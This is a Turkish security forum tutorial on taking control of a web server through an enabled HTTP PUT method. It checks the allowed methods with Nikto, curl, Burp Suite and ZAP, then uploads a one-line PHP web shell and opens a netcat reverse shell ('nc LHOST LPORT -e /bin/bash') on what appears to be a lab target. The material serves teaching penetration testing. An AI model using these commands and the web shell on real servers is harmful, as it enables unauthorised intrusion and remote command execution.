PUT Metodu ile Sunucu Kontrolü Ele Geçirme

PwnLab.Me

Admin
Katılım
21 Ocak 2024
Mesajlar
202
Tepkime puanı
9
Puanları
18
Tarık Eren Taşdemir tarafından yazılmıştır.

Bu yazımda sizlere PUT metodu ile nasıl sunucu kontrolü ele geçirilir ondan bahsedeceğim, küçük ama çok tehlikeli bir zafiyettir. Başlamadan önce en sık karşımıza çıkan HTTP metodlarından kısaca bahsedeyim.

1- GET metodu

GET metodunu sunucudaki kaynaklara erişmek için kullanabiliriz. GET metodunda requestteki parametreler URL alanından sunucuya iletildiği için bu kısımlara müdahale edilebilir ve kritik seviyedeki güvenlik zafiyetleri tetiklenebilir.(SQL INJECTION , RCE vs.)

2- POST metodu

POST metodu ile sunucuya veri gönderebiliriz. POST metodunda requestteki parametreler body kısmında sunucuya iletildiği için URL alanında oluşan zafiyetler burada tetiklenemeyebilir, neden tetiklenemeyebilir dedim çünkü Proxy kullanarak body kısmında iletilen parametrelere istek clientten çıkıp sunucuya iletilmeden önce müdahale edilebilir.

3- HEAD metodu

Sadece request header kısmı sunucuya iletilir. Bu metod ile sunucunun varlığını ya da o kaynağın sunucuda olup olmadığı kontrol edilir.

4- TRACE metodu

Bu metod ile requestin değerinin değiştirilip değiştirilmediği kontrol edilir(arada proxy varsa tespit etmek için)

5- OPTIONS metodu

Sunucuda kullanılmasına izin verilen metodları listelemek için kullanılır.

6- PUT metodu

Sunucuya veri eklemek için kullanılır.

7- DELETE metodu

Sunucudan veri silmek için kullanılır.

Şimdi asıl konumuza dönelim PUT metodu ile sunucu kontrolünü ele geçirecektik. Zafiyetli uygulamamıza geçelim.

İlk olarak sunucunun 80 portuna bağlanıyoruz ve hangi metodlara izin verilip verilmediğini kontrol ediyoruz. Bunu size 4 farklı yoldan göstereceğim.


1- Nikto aracı ile tespit


Nikto aracı web sunucusunda gizli dosya ve dizin tespit işlemi ve aynı zamanda zafiyet taraması gerçekleştirir.

6zt38ve.png


Zafiyetin bulunduğunu düşündüğümüz URL adresini nikto aracına veriyoruz

Komut: nikto –h (URL adresi)

huzk1k2.png


Yukarıda görüldüğü gibi Allowed HTTP Methods kısmında izin verilen metodları gösteri fakat put metodunu göremedik, aslında izin veriliyor fakat PUT metodunu üst kısımda bir güvenlik zafiyeti olarak tespit etmiş.


2- Curl ile tespit;


Curl ile komut satırı üzerinden web sunucusuna bağlanmayı ve veri transferi sağlamayı sağlar.

Komutumuz : curl –v –X OPTIONS http://ipadresi/dizin
-v (verbose)
-X : (request method)

ppnqw1r.png


Yukarıda hangi metodlara izin verildiğini görebiliyoruz ama curl put metodunu tespit edemedi.

3- Burp Suit ile tespit


Burp Suit proxy hizmeti veren , güvenlik zafiyetleri tarayan bir araçtır. Şimdi kullanıma geçelim web browser üzerinden proxy ayarlarını yaptıktan sonra Burp ile localhostu dinleyip isteği yakalayalım .

724yy7s.png


Ardından requesti Reperater’a yollayalım çünkü istek üzerinde değişiklik yapacağız.

s35si0u.png


Yukarıda da görüldüğü gibi istek url üzerinden GET metodu ile göderiliyor şimdi biz GET yerine OPTIONS yazarak hangi metodlara izin verildiğini bize dönen response sayesinde anlayacağız.

3cha2mh.png


Ve şimdi isteği send edip dönen reponsenin sonucuna bakacağım.

3wnqim0.png


Görüldüğü gibi izin verilen metodlar bunlarmış.

4- Zaproxy ile tespit


Zaproxy, Owasp’ın geliştirmiş olduğu proxy destekli bir web uygulama zafiyeti tarama aracıdır. Biz de bu aracın proxy özelliğini kullanarak bu kontrolü gerçekleştireceğiz.

Zaproxy’i açarak localhostu dinlemeye alalım ve bir request oluşturalım.


jm1y0fv.png


Yukarıdan methods kısmından OPTIONS metodunu seçip ilerleyelim.

ecqntng.png


Yukarıda responseda izin verilen metodlar görünüyor.

Şimdi ise suncuyu ele geçirmeye başlayalım. Maalesef nikto hariç diğerleri PUT metodunu tespit edemedi ve bizde nikto aracının sonucuna göre hareket edeceğiz. PUT metodu ile sunucu kontrolünü ele geçirmeyi size 2 farklı yoldan anlatacağım.


1- Curl ile sunucuya zararlı dosya ekleme


Komutumuz : curl –v –X PUT –d ‘dosya içine yazılacak veri’ http://ipadres/dizin/zararlı.php

Dosya içine yazacağımız veri bir zararlı php kodudur cmd değişkenine komut vererek temelde bir RCE zafiyeti oluştururuz

Önce zaafiyeti test edelim.


nij812w.png


Yukarıda görüldüğü gibi response 201 created yani başarıyla oluşturuldu. İsterseniz kontrol edelim.

6i754p4.png


Ve işlem başarılı. Şimdi ise zaralı dosyayı sistemde oluşturmaya geldi.

Bunun için kullanacağım kod:


<?php system($_GET[‘cmd’]); ?>

Bu kod temelde RCE zafiyeti oluşturacaktır.

3z2q5fd.png


Dosyamızı oluşturduk şimdi ise dosyaya gidip cmd parametresi ile sistemde komut çalıştıralım. Hedefimiz bir Linux sunucu olduğu için Linux komutları çalıştırmalıyız.

d5pj0ph.png


Ve ilk testimizi gerçekleştirerek sistemde www-data kullanıcısı olduğumuzu öğrendik. Şimdi gelelim reverse Shell almaya;

Netcat ile port dinlemesi yapıp ders bağlantıyı alıyorum.

Komutlarımız :


1- nc -lvp (LPORT)
2- nc (LHOST) (LPORT) -e /bin/bash
-l (listen)
-v (verbose)
-p (port)
-e (execute)

g0x932h.png


Reverse Shell işlemi başarılı.

Bir sonraki yöntem için zararlı php dosyasını DELETE metodu ile sildim çünkü DELETE izin verilen metodlar arasında


2- Burp Suite ile zararlı dosya yükleme


8gfy4xm.png


Şimdi Proxy ayarlarını yapıp Burp Suite’de localhost’u dinlemeye alıyoruz ve ardından request oluşturup isteği Reperater’a yolluyorum ve ardından requestteki GET metodunu PUT ile değiştirip zararlı kodu isteğin body kısmına yazıyorum.

Ve zararlı dosya başarılı bir şekilde oluşturuldu. Şimdi reverse Shell alalım.


cb6mck0.png


İşlem başarılı. Bu arada aynı işlemi OWASP ile de yapabileceğinizi tahmin etmişsinizdir ama yazı çok uzun olmasın diye burada anlatmayacağım.

Umarım sizler için faydalı olmuştur.



Tarık Eren Taşdemir
 
Moderatör tarafında düzenlendi:
Geri
Üst